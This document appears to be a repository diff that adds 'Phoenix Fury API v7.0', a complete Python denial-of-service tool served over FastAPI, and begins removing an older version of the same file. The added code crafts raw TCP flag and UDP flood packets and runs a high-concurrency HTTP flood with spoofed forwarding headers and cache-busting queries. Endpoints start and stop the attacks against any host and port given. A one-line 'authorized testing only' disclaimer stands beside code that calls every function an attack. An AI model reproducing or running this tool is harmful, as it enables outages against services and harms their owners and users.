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|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
| 1 |
+
import socket
|
| 2 |
+
import struct
|
| 3 |
+
import random
|
| 4 |
+
import time
|
| 5 |
+
import multiprocessing
|
| 6 |
+
import threading
|
| 7 |
+
import asyncio
|
| 8 |
+
import aiohttp
|
| 9 |
+
import os
|
| 10 |
+
import sys
|
| 11 |
+
import psutil
|
| 12 |
+
import ssl
|
| 13 |
+
from typing import Literal, List, Union
|
| 14 |
+
from ctypes import c_ulonglong
|
| 15 |
+
|
| 16 |
+
# Use uvloop for a significant performance boost
|
| 17 |
+
try:
|
| 18 |
+
import uvloop
|
| 19 |
+
asyncio.set_event_loop_policy(uvloop.EventLoopPolicy())
|
| 20 |
+
except ImportError:
|
| 21 |
+
pass
|
| 22 |
+
|
| 23 |
+
from fastapi import FastAPI, HTTPException, BackgroundTasks
|
| 24 |
+
from pydantic import BaseModel, Field
|
| 25 |
+
import uvicorn
|
| 26 |
+
|
| 27 |
+
# --- Application Setup ---
|
| 28 |
+
app = FastAPI(
|
| 29 |
+
title="🔥 Phoenix Fury API v7.0 - MAXIMUM POWER Edition",
|
| 30 |
+
description="Extreme stress testing tool with auto-optimized settings for maximum RPS/PPS. For authorized testing only.",
|
| 31 |
+
version="7.0.0"
|
| 32 |
+
)
|
| 33 |
+
|
| 34 |
+
# --- Auto-Optimized Configuration ---
|
| 35 |
+
CPU_COUNT = psutil.cpu_count(logical=True) or 8
|
| 36 |
+
MAX_PROCESSES = CPU_COUNT * 4 # 4x CPU cores for optimal performance
|
| 37 |
+
MAX_CONCURRENCY_PER_PROCESS = 4096 # Aggressive async tasks per process
|
| 38 |
+
STATS_BATCH_UPDATE_SIZE = 2000 # Batch updates for performance
|
| 39 |
+
|
| 40 |
+
# --- L7 Enhanced Headers Pool ---
|
| 41 |
+
USER_AGENTS = [
|
| 42 |
+
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 Chrome/121.0.0.0 Safari/537.36",
|
| 43 |
+
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 Safari/537.36",
|
| 44 |
+
"Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 Chrome/121.0.0.0 Safari/537.36",
|
| 45 |
+
"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:122.0) Gecko/20100101 Firefox/122.0",
|
| 46 |
+
"Mozilla/5.0 (iPhone; CPU iPhone OS 17_0 like Mac OS X) AppleWebKit/605.1.15 Safari/604.1"
|
| 47 |
+
]
|
| 48 |
+
REFERERS = [
|
| 49 |
+
"https://www.google.com/search?q=",
|
| 50 |
+
"https://www.bing.com/search?q=",
|
| 51 |
+
"https://www.facebook.com/",
|
| 52 |
+
"https://www.twitter.com/",
|
| 53 |
+
"https://www.reddit.com/",
|
| 54 |
+
"https://www.youtube.com/"
|
| 55 |
+
]
|
| 56 |
+
|
| 57 |
+
def get_random_headers() -> dict:
|
| 58 |
+
"""Generates randomized headers with IP spoofing for L7 attacks."""
|
| 59 |
+
return {
|
| 60 |
+
"User-Agent": random.choice(USER_AGENTS),
|
| 61 |
+
"Referer": random.choice(REFERERS) + str(random.randint(1000, 9999)),
|
| 62 |
+
"X-Forwarded-For": f"{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}",
|
| 63 |
+
"X-Real-IP": f"{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}.{random.randint(1,254)}",
|
| 64 |
+
"Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8",
|
| 65 |
+
"Accept-Language": "en-US,en;q=0.9",
|
| 66 |
+
"Accept-Encoding": "gzip, deflate, br",
|
| 67 |
+
"Cache-Control": "no-cache",
|
| 68 |
+
"Pragma": "no-cache"
|
| 69 |
+
}
|
| 70 |
+
|
| 71 |
+
# ====================================================================================
|
| 72 |
+
# Pydantic API Models (Simplified - Auto Max Settings)
|
| 73 |
+
# ====================================================================================
|
| 74 |
+
class BaseAttackConfig(BaseModel):
|
| 75 |
+
target: str = Field(..., description="Target hostname or IP address")
|
| 76 |
+
port: int = Field(..., ge=1, le=65535, description="Target port")
|
| 77 |
+
duration: int = Field(60, ge=10, le=7200, description="Attack duration in seconds")
|
| 78 |
+
|
| 79 |
+
class L4TCPConfig(BaseAttackConfig):
|
| 80 |
+
method: Literal["syn", "ack", "fin", "rst", "psh", "urg"] = Field("syn", description="TCP flag for the attack")
|
| 81 |
+
|
| 82 |
+
class L4UDPConfig(BaseAttackConfig):
|
| 83 |
+
method: Literal["flood", "pps"] = Field("flood", description="'flood' for large packets, 'pps' for minimal packets")
|
| 84 |
+
payload_size: int = Field(1400, ge=0, le=1472, description="Size of UDP payload. 0 for PPS mode.")
|
| 85 |
+
|
| 86 |
+
class L7Config(BaseAttackConfig):
|
| 87 |
+
method: Literal["get", "post", "head"] = Field("get", description="HTTP method.")
|
| 88 |
+
path: str = Field("/", description="Request path")
|
| 89 |
+
|
| 90 |
+
class StatusResponse(BaseModel):
|
| 91 |
+
attack_active: bool
|
| 92 |
+
attack_type: str
|
| 93 |
+
target_host: str
|
| 94 |
+
target_ip: str
|
| 95 |
+
port: int
|
| 96 |
+
duration: int
|
| 97 |
+
elapsed_time: float
|
| 98 |
+
processes: int
|
| 99 |
+
total_sent: int
|
| 100 |
+
current_rate_pps_rps: float
|
| 101 |
+
cpu_usage_percent: float
|
| 102 |
+
memory_usage_percent: float
|
| 103 |
+
|
| 104 |
+
# ====================================================================================
|
| 105 |
+
# CORE NETWORKING & PACKET CRAFTING
|
| 106 |
+
# ====================================================================================
|
| 107 |
+
def check_root() -> bool:
|
| 108 |
+
"""Check if running with root/admin privileges."""
|
| 109 |
+
try:
|
| 110 |
+
return os.geteuid() == 0
|
| 111 |
+
except AttributeError:
|
| 112 |
+
import ctypes
|
| 113 |
+
return ctypes.windll.shell32.IsUserAnAdmin() != 0
|
| 114 |
+
|
| 115 |
+
def resolve_target(target: str) -> str:
|
| 116 |
+
"""Resolve hostname to IP address."""
|
| 117 |
+
try:
|
| 118 |
+
if "://" in target:
|
| 119 |
+
target = target.split("://")[1].split("/")[0]
|
| 120 |
+
return socket.gethostbyname(target)
|
| 121 |
+
except socket.gaierror:
|
| 122 |
+
raise ValueError(f"Could not resolve hostname: {target}")
|
| 123 |
+
|
| 124 |
+
def get_local_ip(target_ip: str) -> str:
|
| 125 |
+
"""Get local IP address that routes to target."""
|
| 126 |
+
try:
|
| 127 |
+
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
|
| 128 |
+
s.connect((target_ip, 1))
|
| 129 |
+
ip = s.getsockname()[0]
|
| 130 |
+
s.close()
|
| 131 |
+
return ip
|
| 132 |
+
except:
|
| 133 |
+
return "127.0.0.1"
|
| 134 |
+
|
| 135 |
+
def calculate_checksum(data: bytes) -> int:
|
| 136 |
+
"""Calculate IP/TCP/UDP checksum."""
|
| 137 |
+
s = 0
|
| 138 |
+
if len(data) % 2:
|
| 139 |
+
data += b'\0'
|
| 140 |
+
for i in range(0, len(data), 2):
|
| 141 |
+
s += (data[i] << 8) + data[i+1]
|
| 142 |
+
s = (s >> 16) + (s & 0xffff)
|
| 143 |
+
s += (s >> 16)
|
| 144 |
+
return (~s) & 0xffff
|
| 145 |
+
|
| 146 |
+
def create_ip_header(src_ip: str, dst_ip: str, proto: int, total_len: int) -> bytes:
|
| 147 |
+
"""Create IP header."""
|
| 148 |
+
header = struct.pack('!BBHHHBBH4s4s',
|
| 149 |
+
(4 << 4) | 5, 0, total_len, random.randint(1, 65535), 0, 64, proto, 0,
|
| 150 |
+
socket.inet_aton(src_ip), socket.inet_aton(dst_ip)
|
| 151 |
+
)
|
| 152 |
+
return header[:10] + struct.pack('!H', calculate_checksum(header)) + header[12:]
|
| 153 |
+
|
| 154 |
+
def create_tcp_header(src_ip: str, dst_ip: str, src_port: int, dst_port: int, flags: int) -> bytes:
|
| 155 |
+
"""Create TCP header with specified flags."""
|
| 156 |
+
seq = random.randint(1, 4294967295)
|
| 157 |
+
ack_seq = 0
|
| 158 |
+
header = struct.pack('!HHLLBBHHH', src_port, dst_port, seq, ack_seq, (5 << 4), flags, 5840, 0, 0)
|
| 159 |
+
pseudo_header = struct.pack('!4s4sBBH', socket.inet_aton(src_ip), socket.inet_aton(dst_ip), 0, socket.IPPROTO_TCP, len(header))
|
| 160 |
+
checksum = calculate_checksum(pseudo_header + header)
|
| 161 |
+
return header[:16] + struct.pack('!H', checksum) + header[18:]
|
| 162 |
+
|
| 163 |
+
def create_udp_header(src_ip: str, dst_ip: str, src_port: int, dst_port: int, payload: bytes) -> bytes:
|
| 164 |
+
"""Create UDP header."""
|
| 165 |
+
udp_len = 8 + len(payload)
|
| 166 |
+
header = struct.pack('!HHHH', src_port, dst_port, udp_len, 0)
|
| 167 |
+
pseudo_header = struct.pack('!4s4sBBH', socket.inet_aton(src_ip), socket.inet_aton(dst_ip), 0, socket.IPPROTO_UDP, udp_len)
|
| 168 |
+
checksum = calculate_checksum(pseudo_header + header + payload)
|
| 169 |
+
return header[:6] + struct.pack('!H', checksum)
|
| 170 |
+
|
| 171 |
+
# ====================================================================================
|
| 172 |
+
# OPTIMIZED L4 WORKER PROCESS
|
| 173 |
+
# ====================================================================================
|
| 174 |
+
def l4_worker_process(stop_event, shared_counter, target_ip, port, attack_type, method_details):
|
| 175 |
+
"""Ultra-optimized L4 worker with raw sockets."""
|
| 176 |
+
try:
|
| 177 |
+
sock = socket.socket(socket.AF_INET, socket.SOCK_RAW, socket.IPPROTO_RAW)
|
| 178 |
+
sock.setsockopt(socket.IPPROTO_IP, socket.IP_HDRINCL, 1)
|
| 179 |
+
# Increase socket buffer for higher throughput
|
| 180 |
+
sock.setsockopt(socket.SOL_SOCKET, socket.SO_SNDBUF, 1024 * 1024)
|
| 181 |
+
local_ip = get_local_ip(target_ip)
|
| 182 |
+
except Exception as e:
|
| 183 |
+
print(f"[PID {os.getpid()}] L4 Worker Init Error: {e}", file=sys.stderr)
|
| 184 |
+
return
|
| 185 |
+
|
| 186 |
+
local_counter = 0
|
| 187 |
+
flag_map = {"syn": 2, "ack": 16, "fin": 1, "rst": 4, "psh": 8, "urg": 32}
|
| 188 |
+
|
| 189 |
+
# Pre-generate payloads for UDP
|
| 190 |
+
if attack_type == 'udp':
|
| 191 |
+
if method_details == 'pps' or method_details == 0:
|
| 192 |
+
payload = b''
|
| 193 |
+
else:
|
| 194 |
+
payload = os.urandom(method_details)
|
| 195 |
+
udp_len = 8 + len(payload)
|
| 196 |
+
|
| 197 |
+
# Packet crafting loop - optimized for speed
|
| 198 |
+
while not stop_event.is_set():
|
| 199 |
+
try:
|
| 200 |
+
src_port = random.randint(10000, 65535)
|
| 201 |
+
|
| 202 |
+
if attack_type == 'tcp':
|
| 203 |
+
ip_header = create_ip_header(local_ip, target_ip, socket.IPPROTO_TCP, 40)
|
| 204 |
+
tcp_header = create_tcp_header(local_ip, target_ip, src_port, port, flag_map.get(method_details, 2))
|
| 205 |
+
packet = ip_header + tcp_header
|
| 206 |
+
else: # udp
|
| 207 |
+
ip_header = create_ip_header(local_ip, target_ip, socket.IPPROTO_UDP, 20 + udp_len)
|
| 208 |
+
udp_header = create_udp_header(local_ip, target_ip, src_port, port, payload)
|
| 209 |
+
packet = ip_header + udp_header + payload
|
| 210 |
+
|
| 211 |
+
sock.sendto(packet, (target_ip, port))
|
| 212 |
+
local_counter += 1
|
| 213 |
+
|
| 214 |
+
# Batch counter updates for performance
|
| 215 |
+
if local_counter >= STATS_BATCH_UPDATE_SIZE:
|
| 216 |
+
with shared_counter.get_lock():
|
| 217 |
+
shared_counter.value += local_counter
|
| 218 |
+
local_counter = 0
|
| 219 |
+
except:
|
| 220 |
+
pass # Ignore errors for maximum speed
|
| 221 |
+
|
| 222 |
+
# Final counter update
|
| 223 |
+
if local_counter > 0:
|
| 224 |
+
with shared_counter.get_lock():
|
| 225 |
+
shared_counter.value += local_counter
|
| 226 |
+
sock.close()
|
| 227 |
+
|
| 228 |
+
# ====================================================================================
|
| 229 |
+
# OPTIMIZED L7 WORKER PROCESS
|
| 230 |
+
# ====================================================================================
|
| 231 |
+
async def l7_worker_main(url, method, concurrency, stop_event, shared_counter):
|
| 232 |
+
"""Ultra-aggressive L7 worker with connection pooling and minimal timeouts."""
|
| 233 |
+
ssl_context = ssl.create_default_context()
|
| 234 |
+
ssl_context.check_hostname = False
|
| 235 |
+
ssl_context.verify_mode = ssl.CERT_NONE
|
| 236 |
+
|
| 237 |
+
# Aggressive connector settings for maximum throughput
|
| 238 |
+
connector = aiohttp.TCPConnector(
|
| 239 |
+
limit=None,
|
| 240 |
+
limit_per_host=0,
|
| 241 |
+
ttl_dns_cache=300,
|
| 242 |
+
force_close=False, # Keep connections alive for reuse
|
| 243 |
+
enable_cleanup_closed=True
|
| 244 |
+
)
|
| 245 |
+
|
| 246 |
+
# Minimal timeouts for maximum speed
|
| 247 |
+
timeout = aiohttp.ClientTimeout(total=5, connect=2, sock_read=2)
|
| 248 |
+
|
| 249 |
+
async with aiohttp.ClientSession(connector=connector, timeout=timeout) as session:
|
| 250 |
+
async def task_worker():
|
| 251 |
+
"""Individual task worker - sends requests continuously."""
|
| 252 |
+
local_counter = 0
|
| 253 |
+
while not stop_event.is_set():
|
| 254 |
+
try:
|
| 255 |
+
# Random query string to bypass caching
|
| 256 |
+
cache_buster = f"?{random.randint(1, 999999999)}"
|
| 257 |
+
async with session.request(
|
| 258 |
+
method,
|
| 259 |
+
f"{url}{cache_buster}",
|
| 260 |
+
headers=get_random_headers(),
|
| 261 |
+
allow_redirects=False
|
| 262 |
+
):
|
| 263 |
+
pass
|
| 264 |
+
local_counter += 1
|
| 265 |
+
except:
|
| 266 |
+
local_counter += 1 # Count even on failure
|
| 267 |
+
finally:
|
| 268 |
+
# Batch updates for performance
|
| 269 |
+
if local_counter >= STATS_BATCH_UPDATE_SIZE:
|
| 270 |
+
with shared_counter.get_lock():
|
| 271 |
+
shared_counter.value += local_counter
|
| 272 |
+
local_counter = 0
|
| 273 |
+
await asyncio.sleep(0) # Yield control
|
| 274 |
+
|
| 275 |
+
# Final update
|
| 276 |
+
if local_counter > 0:
|
| 277 |
+
with shared_counter.get_lock():
|
| 278 |
+
shared_counter.value += local_counter
|
| 279 |
+
|
| 280 |
+
# Launch all concurrent tasks
|
| 281 |
+
tasks = [task_worker() for _ in range(concurrency)]
|
| 282 |
+
await asyncio.gather(*tasks, return_exceptions=True)
|
| 283 |
+
|
| 284 |
+
def l7_worker_process(stop_event, shared_counter, target_ip, port, path, method, concurrency):
|
| 285 |
+
"""L7 worker process entry point."""
|
| 286 |
+
protocol = "https" if port in [443, 8443] else "http"
|
| 287 |
+
url = f"{protocol}://{target_ip}:{port}{path}"
|
| 288 |
+
try:
|
| 289 |
+
asyncio.run(l7_worker_main(url, method, concurrency, stop_event, shared_counter))
|
| 290 |
+
except Exception as e:
|
| 291 |
+
print(f"[PID {os.getpid()}] L7 Worker fatal error: {e}", file=sys.stderr)
|
| 292 |
+
|
| 293 |
+
# ====================================================================================
|
| 294 |
+
# CENTRALIZED ATTACK MANAGER (SINGLETON)
|
| 295 |
+
# ====================================================================================
|
| 296 |
+
class AttackManager:
|
| 297 |
+
"""Singleton manager for all attacks."""
|
| 298 |
+
_instance = None
|
| 299 |
+
|
| 300 |
+
def __new__(cls):
|
| 301 |
+
if cls._instance is None:
|
| 302 |
+
cls._instance = super(AttackManager, cls).__new__(cls)
|
| 303 |
+
cls._instance._initialized = False
|
| 304 |
+
return cls._instance
|
| 305 |
+
|
| 306 |
+
def __init__(self):
|
| 307 |
+
if self._initialized:
|
| 308 |
+
return
|
| 309 |
+
self._initialized = True
|
| 310 |
+
self.lock = threading.Lock()
|
| 311 |
+
self.stats_thread = None
|
| 312 |
+
self._reset_state()
|
| 313 |
+
|
| 314 |
+
def _reset_state(self):
|
| 315 |
+
"""Reset all attack state."""
|
| 316 |
+
self.attack_active = False
|
| 317 |
+
self.attack_type = "None"
|
| 318 |
+
self.target_host = "None"
|
| 319 |
+
self.target_ip = "None"
|
| 320 |
+
self.port = 0
|
| 321 |
+
self.duration = 0
|
| 322 |
+
self.start_time = 0.0
|
| 323 |
+
self.process_count = 0
|
| 324 |
+
self.processes: List[multiprocessing.Process] = []
|
| 325 |
+
self.stop_event = multiprocessing.Event()
|
| 326 |
+
self.counter = multiprocessing.Value(c_ulonglong, 0)
|
| 327 |
+
self.current_rate = 0.0
|
| 328 |
+
|
| 329 |
+
def is_active(self):
|
| 330 |
+
"""Check if an attack is currently active."""
|
| 331 |
+
with self.lock:
|
| 332 |
+
return self.attack_active
|
| 333 |
+
|
| 334 |
+
def _stats_calculator(self):
|
| 335 |
+
"""Background thread to calculate current rate."""
|
| 336 |
+
last_check_time = time.time()
|
| 337 |
+
last_count = 0
|
| 338 |
+
|
| 339 |
+
while not self.stop_event.is_set():
|
| 340 |
+
time.sleep(1)
|
| 341 |
+
now = time.time()
|
| 342 |
+
current_count = self.counter.value
|
| 343 |
+
elapsed = now - last_check_time
|
| 344 |
+
|
| 345 |
+
if elapsed > 0:
|
| 346 |
+
self.current_rate = (current_count - last_count) / elapsed
|
| 347 |
+
|
| 348 |
+
last_check_time = now
|
| 349 |
+
last_count = current_count
|
| 350 |
+
|
| 351 |
+
self.current_rate = 0.0
|
| 352 |
+
|
| 353 |
+
def start(self, config: Union[L7Config, L4TCPConfig, L4UDPConfig], family: str):
|
| 354 |
+
"""Start an attack with auto-optimized settings."""
|
| 355 |
+
with self.lock:
|
| 356 |
+
if self.attack_active:
|
| 357 |
+
return
|
| 358 |
+
|
| 359 |
+
try:
|
| 360 |
+
self.target_host = config.target
|
| 361 |
+
self.target_ip = resolve_target(self.target_host)
|
| 362 |
+
|
| 363 |
+
if family == 'l4' and not check_root():
|
| 364 |
+
raise PermissionError("Layer 4 attacks require root privileges.")
|
| 365 |
+
except (ValueError, PermissionError) as e:
|
| 366 |
+
print(f"Attack validation failed: {e}", file=sys.stderr)
|
| 367 |
+
self._reset_state()
|
| 368 |
+
return
|
| 369 |
+
|
| 370 |
+
self.attack_active = True
|
| 371 |
+
self.port = config.port
|
| 372 |
+
self.duration = config.duration
|
| 373 |
+
self.process_count = MAX_PROCESSES # AUTO MAX
|
| 374 |
+
self.start_time = time.time()
|
| 375 |
+
|
| 376 |
+
worker_target, worker_args, attack_name = (None, None, "Unknown")
|
| 377 |
+
|
| 378 |
+
if family == 'l7' and isinstance(config, L7Config):
|
| 379 |
+
attack_name = f"L7-{config.method.upper()}"
|
| 380 |
+
worker_target = l7_worker_process
|
| 381 |
+
worker_args = (
|
| 382 |
+
self.stop_event,
|
| 383 |
+
self.counter,
|
| 384 |
+
self.target_ip,
|
| 385 |
+
config.port,
|
| 386 |
+
config.path,
|
| 387 |
+
config.method,
|
| 388 |
+
MAX_CONCURRENCY_PER_PROCESS # AUTO MAX
|
| 389 |
+
)
|
| 390 |
+
elif family == 'l4':
|
| 391 |
+
worker_target = l4_worker_process
|
| 392 |
+
if isinstance(config, L4TCPConfig):
|
| 393 |
+
attack_name = f"L4-TCP-{config.method.upper()}"
|
| 394 |
+
worker_args = (
|
| 395 |
+
self.stop_event,
|
| 396 |
+
self.counter,
|
| 397 |
+
self.target_ip,
|
| 398 |
+
config.port,
|
| 399 |
+
'tcp',
|
| 400 |
+
config.method
|
| 401 |
+
)
|
| 402 |
+
elif isinstance(config, L4UDPConfig):
|
| 403 |
+
attack_name = f"L4-UDP-{config.method.upper()}"
|
| 404 |
+
worker_args = (
|
| 405 |
+
self.stop_event,
|
| 406 |
+
self.counter,
|
| 407 |
+
self.target_ip,
|
| 408 |
+
config.port,
|
| 409 |
+
'udp',
|
| 410 |
+
config.method if config.method == 'pps' else config.payload_size
|
| 411 |
+
)
|
| 412 |
+
|
| 413 |
+
self.attack_type = attack_name
|
| 414 |
+
|
| 415 |
+
print("=" * 70)
|
| 416 |
+
print(f"🔥 PHOENIX FURY MAXIMUM POWER - ATTACK INITIATED 🔥")
|
| 417 |
+
print(f" Type: {self.attack_type}")
|
| 418 |
+
print(f" Target: {self.target_host}:{self.port} ({self.target_ip})")
|
| 419 |
+
print(f" Duration: {self.duration}s")
|
| 420 |
+
print(f" Processes: {self.process_count} (AUTO MAX)")
|
| 421 |
+
if family == 'l7':
|
| 422 |
+
print(f" Concurrency per Process: {MAX_CONCURRENCY_PER_PROCESS}")
|
| 423 |
+
print(f" Total Concurrent Tasks: {self.process_count * MAX_CONCURRENCY_PER_PROCESS:,}")
|
| 424 |
+
print("=" * 70)
|
| 425 |
+
|
| 426 |
+
# Launch all worker processes
|
| 427 |
+
for _ in range(self.process_count):
|
| 428 |
+
p = multiprocessing.Process(target=worker_target, args=worker_args)
|
| 429 |
+
self.processes.append(p)
|
| 430 |
+
p.start()
|
| 431 |
+
|
| 432 |
+
# Start stats calculator
|
| 433 |
+
self.stats_thread = threading.Thread(target=self._stats_calculator)
|
| 434 |
+
self.stats_thread.start()
|
| 435 |
+
|
| 436 |
+
def stop(self):
|
| 437 |
+
"""Stop the current attack."""
|
| 438 |
+
with self.lock:
|
| 439 |
+
if not self.attack_active:
|
| 440 |
+
return
|
| 441 |
+
|
| 442 |
+
print(f"\n⚠️ Stop signal received. Terminating {len(self.processes)} processes...")
|
| 443 |
+
self.stop_event.set()
|
| 444 |
+
|
| 445 |
+
# Wait for processes to finish
|
| 446 |
+
for p in self.processes:
|
| 447 |
+
p.join(timeout=5)
|
| 448 |
+
|
| 449 |
+
# Force terminate hanging processes
|
| 450 |
+
for p in self.processes:
|
| 451 |
+
if p.is_alive():
|
| 452 |
+
print(f"Terminating hanging process PID: {p.pid}")
|
| 453 |
+
p.terminate()
|
| 454 |
+
|
| 455 |
+
# Stop stats thread
|
| 456 |
+
if self.stats_thread:
|
| 457 |
+
self.stats_thread.join(timeout=2)
|
| 458 |
+
|
| 459 |
+
# Calculate final stats
|
| 460 |
+
elapsed = time.time() - self.start_time
|
| 461 |
+
total_sent = self.counter.value
|
| 462 |
+
avg_rate = total_sent / elapsed if elapsed > 0 else 0
|
| 463 |
+
|
| 464 |
+
print("=" * 50)
|
| 465 |
+
print("✅ ATTACK TERMINATED")
|
| 466 |
+
print(f" Total Sent: {total_sent:,}")
|
| 467 |
+
print(f" Elapsed Time: {elapsed:.2f}s")
|
| 468 |
+
print(f" Average Rate: {avg_rate:,.2f} PPS/RPS")
|
| 469 |
+
print("=" * 50)
|
| 470 |
+
|
| 471 |
+
self._reset_state()
|
| 472 |
+
|
| 473 |
+
def get_status(self) -> StatusResponse:
|
| 474 |
+
"""Get current attack status."""
|
| 475 |
+
with self.lock:
|
| 476 |
+
return StatusResponse(
|
| 477 |
+
attack_active=self.attack_active,
|
| 478 |
+
attack_type=self.attack_type,
|
| 479 |
+
target_host=self.target_host,
|
| 480 |
+
target_ip=self.target_ip,
|
| 481 |
+
port=self.port,
|
| 482 |
+
duration=self.duration,
|
| 483 |
+
elapsed_time=round(time.time() - self.start_time, 2) if self.attack_active else 0,
|
| 484 |
+
processes=self.process_count,
|
| 485 |
+
total_sent=self.counter.value,
|
| 486 |
+
current_rate_pps_rps=round(self.current_rate, 2),
|
| 487 |
+
cpu_usage_percent=psutil.cpu_percent(),
|
| 488 |
+
memory_usage_percent=psutil.virtual_memory().percent
|
| 489 |
+
)
|
| 490 |
+
|
| 491 |
+
MANAGER = AttackManager()
|
| 492 |
+
|
| 493 |
+
# ====================================================================================
|
| 494 |
+
# FASTAPI ENDPOINTS
|
| 495 |
+
# ====================================================================================
|
| 496 |
+
@app.on_event("startup")
|
| 497 |
+
def on_startup():
|
| 498 |
+
"""Startup message with system info."""
|
| 499 |
+
print("=" * 60)
|
| 500 |
+
print("🔥 Phoenix Fury API v7.0 - MAXIMUM POWER Edition")
|
| 501 |
+
print(f" Detected {CPU_COUNT} logical CPU cores")
|
| 502 |
+
print(f" Auto-configured processes: {MAX_PROCESSES}")
|
| 503 |
+
print(f" Auto-configured L7 concurrency: {MAX_CONCURRENCY_PER_PROCESS} per process")
|
| 504 |
+
if check_root():
|
| 505 |
+
print("✅ Running with root privileges - L4 attacks ENABLED")
|
| 506 |
+
else:
|
| 507 |
+
print("⚠️ WARNING: Not root - L4 attacks will FAIL")
|
| 508 |
+
print("=" * 60)
|
| 509 |
+
|
| 510 |
+
def run_attack_lifecycle(config: Union[L7Config, L4TCPConfig, L4UDPConfig], family: str, background_tasks: BackgroundTasks):
|
| 511 |
+
"""Run attack lifecycle in background."""
|
| 512 |
+
if MANAGER.is_active():
|
| 513 |
+
raise HTTPException(status_code=409, detail="An attack is already in progress.")
|
| 514 |
+
|
| 515 |
+
background_tasks.add_task(MANAGER.start, config, family)
|
| 516 |
+
background_tasks.add_task(time.sleep, config.duration)
|
| 517 |
+
background_tasks.add_task(MANAGER.stop)
|
| 518 |
+
|
| 519 |
+
@app.post("/attack/layer7")
|
| 520 |
+
def api_start_l7(config: L7Config, background_tasks: BackgroundTasks):
|
| 521 |
+
"""Start L7 attack with auto-optimized settings."""
|
| 522 |
+
run_attack_lifecycle(config, 'l7', background_tasks)
|
| 523 |
+
return {
|
| 524 |
+
"status": "success",
|
| 525 |
+
"message": f"L7 attack initiated on {config.target}:{config.port}",
|
| 526 |
+
"processes": MAX_PROCESSES,
|
| 527 |
+
"concurrency_per_process": MAX_CONCURRENCY_PER_PROCESS,
|
| 528 |
+
"total_workers": MAX_PROCESSES * MAX_CONCURRENCY_PER_PROCESS
|
| 529 |
+
}
|
| 530 |
+
|
| 531 |
+
@app.post("/attack/layer4/tcp")
|
| 532 |
+
def api_start_l4_tcp(config: L4TCPConfig, background_tasks: BackgroundTasks):
|
| 533 |
+
"""Start L4 TCP attack with auto-optimized settings."""
|
| 534 |
+
run_attack_lifecycle(config, 'l4', background_tasks)
|
| 535 |
+
return {
|
| 536 |
+
"status": "success",
|
| 537 |
+
"message": f"L4 TCP {config.method.upper()} attack initiated on {config.target}:{config.port}",
|
| 538 |
+
"processes": MAX_PROCESSES
|
| 539 |
+
}
|
| 540 |
+
|
| 541 |
+
@app.post("/attack/layer4/udp")
|
| 542 |
+
def api_start_l4_udp(config: L4UDPConfig, background_tasks: BackgroundTasks):
|
| 543 |
+
"""Start L4 UDP attack with auto-optimized settings."""
|
| 544 |
+
run_attack_lifecycle(config, 'l4', background_tasks)
|
| 545 |
+
return {
|
| 546 |
+
"status": "success",
|
| 547 |
+
"message": f"L4 UDP {config.method.upper()} attack initiated on {config.target}:{config.port}",
|
| 548 |
+
"processes": MAX_PROCESSES
|
| 549 |
+
}
|
| 550 |
+
|
| 551 |
+
@app.post("/attack/stop")
|
| 552 |
+
def api_stop_attack():
|
| 553 |
+
"""Stop the current attack."""
|
| 554 |
+
if not MANAGER.is_active():
|
| 555 |
+
return {"status": "info", "message": "No attack is currently running."}
|
| 556 |
+
MANAGER.stop()
|
| 557 |
+
return {"status": "success", "message": "Stop signal sent."}
|
| 558 |
+
|
| 559 |
+
@app.get("/status", response_model=StatusResponse)
|
| 560 |
+
def get_status():
|
| 561 |
+
"""Get current attack status and system metrics."""
|
| 562 |
+
return MANAGER.get_status()
|
| 563 |
+
|
| 564 |
+
@app.get("/")
|
| 565 |
+
def root():
|
| 566 |
+
"""Root endpoint with API info."""
|
| 567 |
+
return {
|
| 568 |
+
"message": "🔥 Phoenix Fury API v7.0 - MAXIMUM POWER Edition",
|
| 569 |
+
"docs": "/docs",
|
| 570 |
+
"max_processes": MAX_PROCESSES,
|
| 571 |
+
"max_concurrency": MAX_CONCURRENCY_PER_PROCESS,
|
| 572 |
+
"cpu_cores": CPU_COUNT
|
| 573 |
+
}
|
| 574 |
+
|
| 575 |
+
# --- Main Execution ---
|
| 576 |
+
if __name__ == "__main__":
|
| 577 |
+
multiprocessing.freeze_support()
|
| 578 |
+
uvicorn.run(app, host="0.0.0.0", port=8000, workers=1)
|
phoenix_fury.py
DELETED
|
@@ -1,242 +0,0 @@
|
|
| 1 |
-
import asyncio
|
| 2 |
-
import random
|
| 3 |
-
import socket
|
| 4 |
-
import ssl
|
| 5 |
-
import time
|
| 6 |
-
import psutil
|
| 7 |
-
from typing import Dict
|
| 8 |
-
from fastapi import FastAPI, HTTPException, BackgroundTasks
|
| 9 |
-
from pydantic import BaseModel, Field, validator
|
| 10 |
-
import aiohttp
|
| 11 |
-
from aiohttp import ClientTimeout, TCPConnector
|
| 12 |
-
|
| 13 |
-
# Try uvloop for performance
|
| 14 |
-
try:
|
| 15 |
-
import uvloop
|
| 16 |
-
asyncio.set_event_loop_policy(uvloop.EventLoopPolicy())
|
| 17 |
-
except ImportError:
|
| 18 |
-
pass
|
| 19 |
-
|
| 20 |
-
app = FastAPI(
|
| 21 |
-
